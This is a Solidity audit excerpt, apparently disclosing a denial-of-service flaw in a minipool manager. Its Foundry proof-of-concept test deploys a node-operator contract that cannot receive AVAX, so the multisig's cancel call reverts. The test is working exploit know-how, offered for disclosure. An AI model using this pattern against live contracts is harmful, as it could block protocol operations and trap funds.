function _cancelMinipoolAndReturnFunds(address nodeID, int256 index) private {
  ...
  address owner = getAddress(keccak256(abi.encodePacked("minipool.item", index, ".owner")));
  ...
  owner.safeTransferETH(avaxNodeOpAmt);
}
function testCancelMinipoolByMultisigDOS_AUDIT() public {
  uint256 duration = 2 weeks;
  uint256 depositAmt = 1000 ether;
  uint256 avaxAssignmentRequest = 1000 ether;
  uint128 ggpStakeAmt = 200 ether;

  // Node operator is a contract than cannot receive AVAX:
  // contract NodeOpContract {}
  NodeOpContract nodeOpContract = new NodeOpContract();
  dealGGP(address(nodeOpContract), ggpStakeAmt);
  vm.deal(address(nodeOpContract), depositAmt);

  vm.startPrank(address(nodeOpContract));
  ggp.approve(address(staking), MAX_AMT);
  staking.stakeGGP(ggpStakeAmt);
  MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
  vm.stopPrank();

  bytes32 errorCode = "INVALID_NODEID";
  int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
  store.setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));

  // Rialto trices to cancel the minipool created by the node operator contract but the transaction reverts since
  // the node operator contract cannot receive AVAX.
  vm.prank(address(rialto));
  // FAIL: reverted with ETH_TRANSFER_FAILED
  minipoolMgr.cancelMinipoolByMultisig(mp1.nodeID, errorCode);
}
